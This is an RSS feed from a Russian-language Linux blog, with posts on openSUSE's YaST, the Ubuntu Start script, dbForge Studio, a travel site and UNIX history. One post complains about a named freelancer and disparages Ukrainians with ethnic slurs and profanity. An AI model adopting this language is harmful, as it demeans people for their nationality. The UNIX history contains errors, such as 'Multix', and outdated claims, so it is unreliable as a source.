<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>подборка о Линуксе :) &#187; Интересное</title>
	<atom:link href="http://vialinx.org/section/interesnoe/feed/" rel="self" type="application/rss+xml" />
	<link>http://vialinx.org</link>
	<description>Просто мой дневник</description>
	<lastBuildDate>Tue, 01 Feb 2011 11:37:16 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>ЗНАКОМСТВО С YAST</title>
		<link>http://vialinx.org/znakomstvo-s-yast/</link>
		<comments>http://vialinx.org/znakomstvo-s-yast/#comments</comments>
		<pubDate>Wed, 19 May 2010 21:27:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Интересное]]></category>
		<category><![CDATA[ЗНАКОМСТВО]]></category>
		<category><![CDATA[С YAST]]></category>

		<guid isPermaLink="false">http://vialinx.org/znakomstvo-s-yast/</guid>
		<description><![CDATA[YaST — это основной конфигуратор openSUSE, с помощью которого можно настроить всю систему. YaST можно сравнить с панелью управления в Windows, которая тоже используется для настройки системы. Однако вы должны понимать, что не всегда с помощью YaST, как и с помощью панели управления, можно тонко настроить систему. В Windows в случае необходимости тонкой настройки прибегают [...]]]></description>
			<content:encoded><![CDATA[<p><strong>YaST</strong> — это основной конфигуратор openSUSE, с помощью которого можно настроить всю систему. YaST можно сравнить с панелью управления в Windows, которая тоже используется для настройки системы. Однако вы должны понимать, что не всегда с помощью YaST, как и с помощью панели управления, можно тонко настроить систему. В Windows в случае необходимости тонкой настройки прибегают к редактированию реестра с помощью утилиты regedit.</p>
<p> <span id="more-49"></span>
</p>
<p>А в Linux нужно редактировать тот или иной конфигурационный файл (обычно все конфигурационные файлы находятся в каталоге <strong>/etc</strong>). Именно поэтому данная глава называется “Базовая настройка” — ведь конфигуратор позволяет осуществить только ее. Правда, в большинстве случаев возможностей конфигуратора вполне достаточно, но к потенциальной необходимости редактирования конфигурационных файлов вы тоже должны быть готовы.</p>
<p><strong>Центр управления YaST2</strong></p>
<p>В openSUSE есть два приложения, позволяющих настраивать компьютер: <strong>Центр управления</strong> и <strong>Центр управления YaST2</strong>, или просто YaST. По сути, это одно и то же приложение, однако когда запущен обычный Центр управления, вы можете изменять только пользовательские настройки (например, параметры оформления), не влияющие на остальную систему и настройки других пользователей. Понятно, что для запуска Центра управления не нужно вводить пароль root. А вот<em> </em>YaST — это средство запуска различных конфигураторов, позволяющее настраивать все аспекты системы. Сейчас мы рассмотрим именно YaST, поскольку с персональными настройками вы можете разобраться и без моих комментариев, — не буду же я вам советовать, какие обои или цвет фона экрана выбрать сегодня?</p>
<p>В GNOME для запуска конфигуратора YaST выполните команду меню <strong>Компьютер | YaST</strong>. В KDE 4 нужно выполнить команду <strong>К</strong> (кнопка вызова главного меню) <strong>| Computer | YaST</strong>.</p>
<p>Конфигураторы в Центре управления разбиты на группы:</p>
<p>- <strong>Программное обеспечение</strong> — конфигураторы, позволяющие добавить/удалить программы и настроить сетевое обновление;    <br />- <strong>Оборудование</strong> — конфигураторы для настройки устройств;    <br />- <strong>Система</strong> — используется для вызова общесистемных конфигураторов;    <br />- <strong>Сетевые устройства</strong> — здесь вы можете создать соединение с Интернетом или настроить соединение по локальной сети;    <br />- <strong>Сетевые службы</strong> — конфигураторы разных сетевых служб (если вы не планируете настраивать сервер на базе openSUSE, можете даже не заглядывать в этот раздел);    <br />- <strong>Novell AppArmor</strong> — параметры AppArmor, программного инструмента упреждающей защиты, основанного на политиках безопасности (другое название — профили, от англ. profiles). Профили определяют, к каким системным ресурсам и с какими привилегиями может получить доступ то или иное приложение;    <br />- <strong>Безопасность и пользователи</strong> — параметры пользователей и различные параметры безопасности;    <br />- <strong>Виртуализация</strong> — параметры виртуализации;    <br />- <strong>Разное</strong> — различные вспомогательные конфигураторы, которые не вошли ни в одну из описанных выше групп.</p>
<p><strong>Оборудование</strong></p>
<p>В разделе Оборудование вы найдете следующие конфигураторы:   <br />- <strong>TV карта</strong> — позволяет настроить ваш ТВ-тюнер;    <br />- <strong>Джойстик</strong> — используется для настройки джойстиков и других игровых устройств;    <br />- <strong>Информация об оборудовании</strong> — довольно удобная программа, выводящая информацию об оборудовании в древовидной форме;    <br />- <strong>Модель мышки</strong> — используется для настройки манипулятора “мышь”. Обычно мышь не требует какой-либо настройки, но иногда все же требуется запуск этого конфигуратора — в случае, например, если вы привыкли работать с мышью левой рукой;    <br />- <strong>Раскладка клавиатуры</strong> — используется для изменения параметров клавиатуры;    <br />- <strong>Графическая плата и монитор</strong> — конфигуратор изменения параметров видеоадаптера и монитора;    <br />- <strong>Звук</strong> — настройка звуковой платы;    <br />- <strong>Инфракрасное устройство</strong> — конфигуратор настройки IR-порта, если таковым оснащен ваш компьютер;    <br />- <strong>Принтер</strong> — конфигуратор настройки принтеров;    <br />- <strong>Сканер</strong> — конфигуратор настройки сканера.</p>
<p><strong>Системные параметры</strong></p>
<p>Мы подошли к следующей группе конфигураторов Центра управления — Система:   <br />- <strong>LVM</strong> — запускает менеджер логических томов (Logical Volume Manager). Обычно на домашних/офисных компьютерах LVM не используется, поэтому данный конфигуратор для вас бесполезен;    <br />- <strong>Дата и время</strong> — тут все просто: вы можете изменить дату и время, а также выбрать часовой пояс. Не включайте опцию Установить системные часы в UTC, поскольку системные часы обычно настроены на локальное время;    <br />- <strong>Настройка ядра</strong> — позволяет выбрать планировщик ввода/вывода;    <br />- <strong>Редактор /etc/sysconfig</strong> — в каталоге /etc/sysconfig находятся различные системные файлы конфигурации. Данный редактор позволяет редактировать эти файлы. Редактор /etc/sysconfig можно сравнить с редактором реестра в Windows. Сравнение не очень корректное, но все же определенная ассоциативная связь имеется;    <br />- <strong>Системные службы</strong> (уровень запуска) — позволяет редактировать уровни запуска системы;    <br />- <strong>Язык</strong> — позволяет изменить основной язык системы;    <br />- <strong>Восстановление системы </strong>и<strong> Резервная копия системы</strong> — два этих конфигуратора используются для создания резервной копии системы, а затем для ее восстановления (разворачивания);    <br />- <strong>Загрузчик</strong> — настраивает начальный загрузчик Linux;    <br />- <strong>Разделы</strong> — программа для редактирования разделов жесткого диска;    <br />- <strong>Профили</strong> — поможет ИТ-менеджерам в мультисистемных конфигурациях. Рассматривать менеджера профилей (SuSE Configuration Profile Management, SCPM) пока не будем, да и не нужен SCPM обычному пользователю.</p>
]]></content:encoded>
			<wfw:commentRss>http://vialinx.org/znakomstvo-s-yast/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Зачем нужен ещё один блог о Линуксе (Linux)?</title>
		<link>http://vialinx.org/zachem-nuzhen-eshhyo-odin-blog-o-linukse-linux/</link>
		<comments>http://vialinx.org/zachem-nuzhen-eshhyo-odin-blog-o-linukse-linux/#comments</comments>
		<pubDate>Wed, 19 May 2010 20:56:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Интересное]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Лирика]]></category>
		<category><![CDATA[о блоге]]></category>

		<guid isPermaLink="false">http://vialinx.org/zachem-nuzhen-eshhyo-odin-blog-o-linukse-linux/</guid>
		<description><![CDATA[Хочешь прочитать статьи на тему: Нахождение минимального числа в массиве?тогда тебе на Журнал Код.
Да как Вам сказать, возможно ещё один сайт о замечательной операционной ситстеме Linux и не нужен никому. Их вроде столько, что можно заблудится.
 

А вот как начинаешь искать информацию так необходимую начинающему линуксоиду, так оказывается, что информации о Linux на доступном языке [...]]]></description>
			<content:encoded><![CDATA[<p>Хочешь прочитать статьи на тему: Нахождение минимального числа в массиве?тогда тебе на Журнал Код.</p>
<p>Да как Вам сказать, возможно ещё один сайт о замечательной <strong>операционной ситстеме Linux</strong> и не нужен никому. Их вроде столько, что можно заблудится.</p>
<p> <span id="more-46"></span>
</p>
<p>А вот как начинаешь искать информацию так необходимую <strong>начинающему линуксоиду</strong>, так оказывается, что <strong>информации о Linux</strong> на доступном языке в интернете не так уж и много. А уж на твоём родном языке ещё меньше. И на поиски нужно потратить не одну стоню часов, как собсвенно делал я когда начинал делать <strong>первые шаги в Linux</strong>. А множетстве <em>линуксовых форумах</em>, как раз <strong>для начинающего линуксоида</strong>, не каждый гуру захочет разжовывать.</p>
<p>Приходилось множество страниц с <em>информацией о Linux</em> сохранять локально, чтобы потом не рыться снова в нэте. А учитывая, что я любитель поэксперементировать как с железом так и с софтом, я постоянно что-то устанавливаю, настраиваю, переустанавливаю, перенастраиваю и т.д. Что-то сразу в голове откладывается, а что-то на винте откладывается.</p>
<p>Но, не буду лукавить, я сайт не столько из-за таких альтруистических намерений делаю, сколько для самого себя. Дело в том, что <strong>множетво информации о Linux</strong> запомнить сразу не представляется возможным. И нужно её записывать и где-то хранить. Когда этой самой <strong>информации о Линуксе</strong> у меня стало на компьютере великая куча, я понял, что мне уже самому сложно в ней найти что-то.</p>
<p>Вот я и решил систематизировать её. А как лучше систематизировать? Решли сделать локальный блог для самого себя. А затем подумал – зачем локальный, если можно в сети сделать <strong>блог о Linux</strong>. И я смогу из любого места иметь к ней. И другие смогут для себя найти что-то полезное. На том и решил. И вот сейчас сижу и пишу эту&#160; преамбулу.</p>
<p>Так, что сайт я делаю в первую очередь для себя и под себя. Видите, я даже с дизайном пока не заморачивался. Но если народ будет регулярно наведываться на мой <strong>блог о Linux</strong>, буду обустраивать его и для Вас:-) Куда ж я денусь?</p>
<p>Так, что милости прошу – к нашему Линушу…</p>
]]></content:encoded>
			<wfw:commentRss>http://vialinx.org/zachem-nuzhen-eshhyo-odin-blog-o-linukse-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu Start : скрипт для оптимизации Ubuntu 10.04</title>
		<link>http://vialinx.org/ubuntu-start-skript-dlya-optimizacii-ubuntu-10-04/</link>
		<comments>http://vialinx.org/ubuntu-start-skript-dlya-optimizacii-ubuntu-10-04/#comments</comments>
		<pubDate>Wed, 19 May 2010 20:55:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Интересное]]></category>
		<category><![CDATA[Ubuntu 10.04]]></category>
		<category><![CDATA[Ubuntu Start]]></category>

		<guid isPermaLink="false">http://vialinx.org/ubuntu-start-skript-dlya-optimizacii-ubuntu-10-04/</guid>
		<description><![CDATA[Какая бы отточенная и вычесанная не была бы операционная система, всегда будет множество пользователей, которых что-то в ней не будет удовлетворять. Вот, например, вновь вышедшая версия Ubuntu сразу же, несмотря на большое количество восхищенных отзывов, получила и массу критических хамечаний, касающихся и дизайна, и собственно удобства работы.
 

Таким образом, сразу же стали создаваться различные утилиты [...]]]></description>
			<content:encoded><![CDATA[<p>Какая бы отточенная и вычесанная не была бы операционная система, всегда будет множество пользователей, которых что-то в ней не будет удовлетворять. Вот, например, вновь вышедшая версия Ubuntu сразу же, несмотря на большое количество восхищенных отзывов, получила и массу критических хамечаний, касающихся и дизайна, и собственно удобства работы.</p>
<p> <span id="more-45"></span>
<p><strong></strong></p>
<p>Таким образом, сразу же стали создаваться различные утилиты и скрипты, позволяющее оптимизировать систему под себя. Одним из самых популярных таких средств является программка Ubuntu Tweak, о которой уже столько написано, что повторяться нет ни желания, ни смысла.   <br />Хочу рассказать об одном скрипте, который написан польским сообществом пользователей Ubuntu, название скрипту придумали простейшее – Ubuntu Start. После установки новой системы он самостоятельно обновит систему, установит кодеки, мессендежры, скайп, проигрыватели и многое другое. Кроме того, авторы скрипта ришили даже создать некую гуевую приблуду, чтобы сделать работу со скриптом максимально простой.</p>
<p><strong>Умеет Ubuntu Start следующее:</strong></p>
<ul>
<li>Добавить дополнительные репозитории в систему (GetDeb, MediUbuntu и т.п.) </li>
<li>Загрузить и установить обновления </li>
<li>Установить Ubuntu Tweak </li>
<li>Установить кодеки, плагины для браузера (Java, Flash) </li>
<li>Установить дополнительные архиваторы (RAR, 7-Zip) и шрифты </li>
<li>В случае 64-битной архитектуры ядра поставить Flash Player с сайта Adobe </li>
<li>Сделать Gconf-твики, такие как добавить значки в меню, сместить кнопки закрыть, развернуть, свернуть в право и т.п. </li>
<li>Установить GIMP (которого нет в Ubuntu 10.04 Lucid Lynx) </li>
<li>Установить VLC </li>
<li>Установить Thunderbird </li>
<li>Установить Google Chrome последней версии (причем усный скрипт сам определит вашу архитектуру и установит 32 или 64 битную версию браузера) </li>
<li>Установить VINE </li>
<li>Установить MPlayer </li>
<li>Поставить в Totem и MPlayer кодировку CP1251 </li>
<li>Установить Pidgin</li>
</ul>
<p><strong>В последней версии скрипта возможностей стало еще больше:</strong></p>
<ul>
<li>Скрипт обзавелся GUI работающим на Zenity </li>
<li>Скрипт научился принимать лицензионное соглашение при установке JAVA </li>
<li>Добавилось возможность поставить Dropbox, включая репозиторий </li>
<li>Поставить инструменты разработчика (всё от build-essential до Subversion и GIT) </li>
<li>Поставить GNOME-DO </li>
<li>Удалить иконки съемных дисков, корзины и прочего с рабочего стола </li>
<li>Исправить «баг долгой загрузки GooGle-репозиатрия» (об этом позже) </li>
<li>Еще твики от Gconf </li>
<li>При запуске проcит sudo </li>
<li>Установка Skype 32 bit или 64 bit в зависимости от архитектуры </li>
<li>Проверка на запуск с sudo </li>
<li>Установка compizconfig-settings-manager</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://vialinx.org/ubuntu-start-skript-dlya-optimizacii-ubuntu-10-04/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DoHop.com &#8211; замена Expedia?</title>
		<link>http://vialinx.org/dohop-com-zamena-expedia/</link>
		<comments>http://vialinx.org/dohop-com-zamena-expedia/#comments</comments>
		<pubDate>Wed, 19 May 2010 20:53:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Интересное]]></category>
		<category><![CDATA[DoHop.com]]></category>
		<category><![CDATA[Expedia]]></category>

		<guid isPermaLink="false">http://vialinx.org/dohop-com-zamena-expedia/</guid>
		<description><![CDATA[Открываем на блоге новый раздел “путешествия”. За свою не долгую жизнь судьба подарила мне удовольствие от посещения 40 различных стран. Путешествия стали частью моей жизни так же, как для кого-то частью жизни является ребенок или автомобиль&#160; 
 
Не так давно понял, что БОЛЬШАЯ часть людей понятия не имеют как путешествовать без турагенства. Первая наводка – [...]]]></description>
			<content:encoded><![CDATA[<p>Открываем на блоге новый раздел “путешествия”. За свою не долгую жизнь судьба подарила мне удовольствие от посещения 40 различных стран. Путешествия стали частью моей жизни так же, как для кого-то частью жизни является ребенок или автомобиль&#160; </p>
<p> <span id="more-44"></span>
<p>Не так давно понял, что Б<strong>О</strong>ЛЬШАЯ часть людей понятия не имеют как путешествовать без турагенства. Первая наводка – при поиске билетов на самолёт я рекомендую пользоваться не только expedia.com или travelocity.com, а еще и сервисом dohop.com, который ищет в т.ч. по рейсам авиакомпаний дискаунтеров. Они же “лоукосты”. Особенно, если Вы путешествуете по Европе.</p>
]]></content:encoded>
			<wfw:commentRss>http://vialinx.org/dohop-com-zamena-expedia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dbForge Studio &#8211; мой выбор. И пару слов о MySQL</title>
		<link>http://vialinx.org/dbforge-studio-moj-vybor-i-paru-slov-o-mysql/</link>
		<comments>http://vialinx.org/dbforge-studio-moj-vybor-i-paru-slov-o-mysql/#comments</comments>
		<pubDate>Wed, 19 May 2010 20:52:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Интересное]]></category>
		<category><![CDATA[dbForge Studio]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://vialinx.org/dbforge-studio-moj-vybor-i-paru-slov-o-mysql/</guid>
		<description><![CDATA[ В новом проекте всё завязано на базе. Очень большие объемы информации нуждаются в тщательной проектировке и отладке. Впервые возникла необходимость в средстве визуальной проектировки БД. Выбор сделал в пользу dbForge Studio и, думаю, оказался прав. Софт писали люди, которые определенно им будут пользуются сами. Очень качественный продукт, всё продумано, стандартная привязка клавиш. Никаких сюрпризов [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://vialinx.org/wp-content/uploads/2010/05/schemacompare_logo.gif"><img style="border-bottom: 0px; border-left: 0px; margin: 0px 10px 0px 0px; display: inline; border-top: 0px; border-right: 0px" title="schemacompare_logo" border="0" alt="schemacompare_logo" align="left" src="http://vialinx.org/wp-content/uploads/2010/05/schemacompare_logo_thumb.gif" width="102" height="108" /></a> В новом проекте всё завязано на базе. Очень большие объемы информации нуждаются в тщательной проектировке и отладке. Впервые возникла необходимость в средстве визуальной проектировки БД. Выбор сделал в пользу dbForge Studio и, думаю, оказался прав. Софт писали люди, которые определенно им будут пользуются сами. Очень качественный продукт, всё продумано, стандартная привязка клавиш. Никаких сюрпризов – сел и начал работать. Руки сами знаю, что и где спрятано. Что особенно понравилось, так это отладка хранимых процедур, да и само создание процедур реализовано очень удобно. Короче – супер!</p>
<p>Часть 2 или “программист растёт вместе с объемами его баз данных”.   <br />Когда объем записей увеличивается в 10 тысяч раз – программисту приходится расти и самому. Уже давно не позиционирую себя как программера, но все-таки всю серверную часть пишу самостоятельно из соображений дальнейшей поддержки софта, да и вообще – это удобно, безопасно и держит в тонусе. Продвинулся за последние 2 недели в вопросах кодировок (особенно китайских GBK, big5)..    <br />Обнаружил не очень-то хорошо документированную необходимость указывать у формальных параметров хранимой процедуры <strong>CHARSET UTF8</strong> после, к примеру, <strong>VARCHAR(255)</strong>, иначе в базу данные попадают, проходя через процедуру, в виде знаков вопроса. Вроде всё, движемся дальше…</p>
]]></content:encoded>
			<wfw:commentRss>http://vialinx.org/dbforge-studio-moj-vybor-i-paru-slov-o-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Фрилансеры &#8211; почему так мало нормальных?</title>
		<link>http://vialinx.org/frilansery-pochemu-tak-malo-normalnyx/</link>
		<comments>http://vialinx.org/frilansery-pochemu-tak-malo-normalnyx/#comments</comments>
		<pubDate>Wed, 19 May 2010 20:51:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Интересное]]></category>
		<category><![CDATA[кацапы]]></category>
		<category><![CDATA[Фрилансеры]]></category>

		<guid isPermaLink="false">http://vialinx.org/frilansery-pochemu-tak-malo-normalnyx/</guid>
		<description><![CDATA[Мне обычно везло с фрилансерами… Да, именно везло. Удавалось отсеять идиотов и процент брака, кидков и т.д. был минимален. Вообще, всю серверную часть привык делать сам. В конце-концов, у меня 9 лет практики и в том числе, много практики работы с high load проектами. Писать серверную часть самому, во-первых, безопасно, во-вторых – удобно. Любой баг [...]]]></description>
			<content:encoded><![CDATA[<p>Мне обычно везло с фрилансерами… Да, именно везло. Удавалось отсеять идиотов и процент брака, кидков и т.д. был минимален. Вообще, всю серверную часть привык делать сам. В конце-концов, у меня 9 лет практики и в том числе, много практики работы с high load проектами. Писать серверную часть самому, во-первых, безопасно, во-вторых – удобно. Любой баг правится со скоростью, пропорциональной моим навыкам, а не навыкам непонятно кого + времени поиска этого самого “непонятно кого” + вероятность того, что непонятно кто занят или просто положил на меню болт. Ну да ладно, это лирика. Но шарить во всём – невозможно. Дизайн, флеш, сложная вёрстка, proofreading текстов – всё отдаю фрилансерам. Так вот…   <br />Столкнулся я недавно с одним горе-человеком [<em>здесь был компромат, решил до конца истории воздержаться от публикации</em>] Заказал проект (флеш), сроки были задержаны в 3 раза, но – проект был сдан. Короче, как специалист – цены ему нет. Идеи предлагает отличные, пишет код грамотно. Во многом из-за этого заказал ему еще 2 проекта и перевел предоплату в надежде на то, что “лучше сбить сроки в 3 раза, но получить качественный продукт”.    <br />В общем, спец он отменный, но как человек – пустое место. Еще никто мне больше 15 раз не врал, что работа кипит и “завтра покажу”. Он – первый. Заканчивается тем, что работы нет, предоплаты нет. В двух словах – он кинул на вполне приличную сумму. Уверял, что денег нет совсем, ни онлайн ни нала, что бы вернуть предоплату. После того, как мною был оставлен ему на фрилансе негативный отзыв, Владимир начал меня шантажировать:    <br /><code>Но если вы считаете, что вправе оставить мне негативный отзыв потенциально нанеся мне финансовый ущерб (потеря некоторых заказов по причине наличия вашего негативного отзыва), то я буду считать, что вправе оставить себе предоплату как плату за проделанную мной работу (обсуждение и изучение деталей проекта, поиск путей решения, начало разработки модулей которые должны были стать частью проекта).</code>    <br />Отлично, то есть за 2 месяца не показать никаких результатов – он вправе. За 2 месяца полтора десятка раз соврать – он вправе. Пообещать отдать деньги, если не справится с работой до позапрошлого понедельник – он вправе. Не отдать деньги – он вправе. А я, значит, отзыв ему не могу оставить? <img alt=":)" src="http://www.linuxheart.net/wp-includes/images/smilies/icon_smile.gif" /> Супер!    <br />Я к чему всё это пишу… Я не могу понять, почему толковые ребята такие расп%здяи? Ведь он не глупый человек, ему скоро 30, а он живёт в каком-то говне. Создает объявления о поиске работы за 1000 баксов в месяц. Ну почему хохлы не могут палец о палец ударить, что бы чего-то достичь. Сотни программеров толковых перебрались в нормальные страны, стоят будущее своё и своих семей. Работают за нормальные деньги, так откуда же берутся те, кому пофиг на себя самих? Ну ладно “страна”, ей ничего не светит, это ясно. Но почему о себе не думают? Молодые ребята, ведь всё в их руках. Да вкалывать надо, искать проекты и работать ночами, искать работу забугром, что бы вырваться из этой клоаки. Ну раз повезло, что мозги есть – надо ж этим пользоваться. Как же можно до такого возраста дожить и позволять себе кидать заказчиков на авансы. Трепать языком как помелом. Обещать одно, делать другое… Ну разве это жизнь, что бы потом дети такое читали про тебя онлайн. Писец какой-то. Обидно и жаль.</p>
]]></content:encoded>
			<wfw:commentRss>http://vialinx.org/frilansery-pochemu-tak-malo-normalnyx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Что же такое UNIX? История UNIX&#8217; а</title>
		<link>http://vialinx.org/chto-zhe-takoe-unix-istoriya-unix-a/</link>
		<comments>http://vialinx.org/chto-zhe-takoe-unix-istoriya-unix-a/#comments</comments>
		<pubDate>Thu, 06 May 2010 01:44:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Интересное]]></category>
		<category><![CDATA[История UNIX' а]]></category>
		<category><![CDATA[Что же такое UNIX]]></category>

		<guid isPermaLink="false">http://vialinx.org/chto-zhe-takoe-unix-istoriya-unix-a/</guid>
		<description><![CDATA[В 1965 году Bell Telephone Laboratories (Bell Labs, отдел AT&#38;T) совместно с General Electric и проектом MAC MIT занимались созданием новой операционной системы, названной Multix. Не вдаваясь в подробности, скажем только, что Bell Labs решили не принимать больше участия в этом проекте и вышли из группы. Таким образом, они остались без операционной системы. 
 
&#160;
Кен [...]]]></description>
			<content:encoded><![CDATA[<p>В 1965 году Bell Telephone Laboratories (Bell Labs, отдел AT&amp;T) совместно с General Electric и проектом MAC MIT занимались созданием новой операционной системы, названной Multix. Не вдаваясь в подробности, скажем только, что Bell Labs решили не принимать больше участия в этом проекте и вышли из группы. Таким образом, они остались без операционной системы. </p>
<p> <span id="more-35"></span>
<p>&#160;</p>
<p>Кен Томпсон и Деннис Ритчи решили набросать эскиз операционной системы, которая удовлетворяла бы нужды Bell Labs. Когда Томпсону в 1970 году понадобилась среда разработки для PDP-7, он воплотил в жизнь их идеи. В противовес Multix&#8217;у Брайан Керниган дал своей системе имя UNIX. </p>
<p>Позднее Деннис Ритчи разработал язык программирования С. В 1973 году UNIX был переписан на С, что дало мощный толчок к дальнейшему. В 1977 г. UNIX был перенесен с PDP на новую машину, именно благодаря этому.&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </p>
<p>Постепенно UNIX стал популярным. Сегодняшний UNIX весьма отличается от UNIX&#8217;а семидесятых. Существовало две основных его версии : System 5, созданная в mso-ansi-language: EN-US&#8217;&gt; UNIX System Laboratories (USL), филиале Novell, и версия BSD, Berkeley Software Distribution. Версия USL сейчас имеет хождение в своем четвертом релизе, SVR4, а последняя версия BSD имеет номер 4.4. Однако, кроме этих двух существует множество других версий. Большинство версий UNIX&#8217;а было созданы компаниями-разработчиками программного обеспечения и по большому счету могут быть отнесены к одной из двух групп (в основе которых лежат две версии, о которых говорилось выше). Недавно появились версии UNIX&#8217;а, объединяющие в себе свойства обоих групп. </p>
<p>В наше время UNIX стал более коммерческим, чем в былые дни, и лицензия на его использование весьма дорога. Новые версии UNIX&#8217;а для Intel PC стоят от 500 до 2000 долларов. </p>
<p>История Linux </p>
<p>Linux изначально был написан Линасом Торвальдсом, а затем улучшался бесчисленным количеством народа во всем мире. Он является клоном операционной системы UNIX. Ни USL, ни Университет Беркли не участвовали в его создании. Один из наиболее интересных фактов из истории Linux&#8217;а &#8211; это то, что в его создании принимали участие одновременно люди со всех концов света &#8211; от Австралии до Финляндии &#8211; и продолжают это делать до сих пор. </p>
<p>Вначале Linux разрабатывался для работы на 386 процессоре. Одним из первых проектов Линаса Торвальдса была программа, которая могла переключаться между процессами, один из которых печатал АААА, а другой &#8211; ВВВВ. Впоследствииэта программа выросла в Linux. </p>
<p>Linux поддерживает большую часть популярного UNIX&#8217;овского программного обеспечения, включая систему X Window. Это довольно большая программа, разработанная в Массачусетском Технологическом институте, позволяющая компьютерам создавать графические окна и используемая на многих различных UNIX-овских платформах. Linux по большей части совместим с System 5 и с BSD и удовлетворяет требованиям POSIX-1 (документа, пытающегося стандартизировать операционные&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; системы). Linux также во многом согласуется с POSIX-2, другим документом IEEE по стандартизации операционных систем. Он является смешением всех трех стандартов: BSD, System 5 и POSIX. </p>
<p>Большинство утилит, включаемых в дистрибутивы Linux&#8217;а получены от Free Software Foundation как часть проекта GNU. Проект GNU &#8211; это попытка написать переносимую продвинутую операционную систему, которая будет выглядеть также, как UNIX. Слово &quot;переносимая&quot; означает, что она будет работать на различных машинах, а не только на Intel PC, Macintosh или какой-нибудь еще. Linux тяжело переносится на другие компьютерные архитектуры, потому, что писался с расчетом на 80386. </p>
<p>Linux сегодняшнего дня </p>
<p>Развитие Linux&#8217;а разделилось на две ветви. Первая, с номерами версий, начинающимися с 1.0, считается более стабильной, надежной версией Linux&#8217;а. Вторая, чьи версии нумеруются 1.1, является более дерзкой и быстрее развивающейся и, следовательно (к сожалению), более богатой ошибками. </p>
<p>В данный момент изменения в Linux&#8217;е касаются поддержки TCP/IP и борьбы с ошибками. Linux &#8211; это достаточно большая система, но, к сожалению, содержит ошибки, которые находятся и исправляются. Хотя некоторые люди все еще регулярно сталкиваются с ошибками, как правило, это происходит из-за того, что они используют нестандартную или неадекватную аппаратуру. Очевидных ошибок становится все меньше, и они встречаются все реже. </p>
<p>Конечно, все это касается только ошибок, найденных в ядре. Проблеиы могут встречаться в любой части системы, и неопытные пользователи не могут определить, в какой программе случился сбой. Например, компьютер выдает нечто непонятное, &#8211; что это &#8211; ошибка или правильный результат? Предположим, что это все-таки правильный результат, тогда чем он вызван &#8211; последней командой или чем либо еще? Надеюсь, эта книга поможет разобраться в различных ситуациях.&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </p>
<p>Тривиальнейшая вещь </p>
<p>Перед тем, как мы пустимся в наше путешествие, позвольте заострить ваше внимание на чрезвычайно важном моменте: </p>
<p>Вопрос: как правильно произносится &quot;Linux&quot; </p>
<p>Ответ: По Линасу Торвальдсу он должен произноситься с короткой i, как в словах &quot;prInt&quot;, &quot;mInimal&quot; и т.д. Linux должен рифмоваться с Minix-ом, другим клоном UNIX&#8217;а. </p>
<p>Коммерческое программное обеспечение в Linux&#8217;е </p>
<p>Хорошо это, или плохо, но в настоящее время для Linux&#8217;а имеется коммерческое программное обеспечение. Хотя Motif и не является фантастическим средством подготовки текстов, это пакет должен быть куплен, и исходные тексты для него не поставляются. Motif &#8211; это пользовательский интерфейс для системы X Window System, смутно напоминающий Microsoft Windows. </p>
<p>Читатели, интересующиеся законностью использования Linux, могут обратится к лицензии Linux. В то время как Общая Лицензия GNU (GNU General Public License), приведенная в приложении A, применима к ядру Linux, Общая Библиотечная Лицензия GNU (GNU Library General Public License, текст которой приведен в приложении B, применима к большей части кода приложений, выполняемых в Linux. </p>
]]></content:encoded>
			<wfw:commentRss>http://vialinx.org/chto-zhe-takoe-unix-istoriya-unix-a/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как заставить любую программу работать через HTTP прокси</title>
		<link>http://vialinx.org/kak-zastavit-lyubuyu-programmu-rabotat-cherez-http-proksi/</link>
		<comments>http://vialinx.org/kak-zastavit-lyubuyu-programmu-rabotat-cherez-http-proksi/#comments</comments>
		<pubDate>Thu, 06 May 2010 01:22:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Интересное]]></category>
		<category><![CDATA[HTTP прокси]]></category>
		<category><![CDATA[Как заставить]]></category>
		<category><![CDATA[любую программу]]></category>
		<category><![CDATA[работать через]]></category>
